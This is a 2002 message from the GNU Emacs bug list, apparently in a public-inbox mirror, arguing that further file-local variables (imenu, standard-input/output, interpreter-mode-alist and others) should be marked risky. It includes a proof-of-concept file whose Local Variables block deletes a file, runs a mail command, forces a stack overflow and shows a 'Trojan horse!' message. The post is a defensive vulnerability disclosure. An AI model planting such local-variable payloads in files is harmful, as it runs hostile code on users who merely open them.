unofficial mirror of bug-gnu-emacs@gnu.org 
 help / color / mirror / code / Atom feed
* More risky variables?
@ 2002-03-26 16:47 Jonathan Yavner
  0 siblings, 0 replies; only message in thread
From: Jonathan Yavner @ 2002-03-26 16:47 UTC (permalink / raw)


These variables can act as function hooks, so perhaps they should be
marked as "risky" even though I can't think of a way to create a
problem with them via hack-local-variables:
  imenu-generic-expression, imenu-index-alist, interpreter-mode-alist,
  standard-input, standard-output, unread-command-events,
  ANYTHING ENDING IN "-map"

Bad values for these variables can cause Emacs to crash:
  max-lisp-eval-depth, max-specpdl-size

Example file (give it a name with no extension):
...........snip here...................................................
#!/bin/test -a -b -c
After enabling the `eval-expression' command, try
  M-: ( read ) RET
  M-: ( princ 1 ) RET
  M-: ( normal-mode t ) RET
  M-: ( funcall stack-overflow ) RET
  M-: ( imenu )

;;; Local Variables:
;;; standard-input: (lambda () (delete-file "an-important-file"))
;;; standard-output: (lambda (x)
       (call-process "mail" nil nil nil "me@x.gov"))
;;; stack-overflow: (lambda (&rest ignore) (funcall stack-overflow))
;;; interpreter-mode-alist: (("test" . (lambda ()
        (message "Trojan horse!"))))
;;; max-lisp-eval-depth: 1000000
;;; max-specpdl-size: 1000000
;;; unread-command-events: (24 3)
;;; imenu-generic-expression: (("Local V" 0 stack-overflow))
;;; imenu-index-alist: (("Local V" 0 stack-overflow))
;;; End:
..........snip here...................................................

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2002-03-26 16:47 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2002-03-26 16:47 More risky variables? Jonathan Yavner

Code repositories for project(s) associated with this public inbox

	https://git.savannah.gnu.org/cgit/emacs.git

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).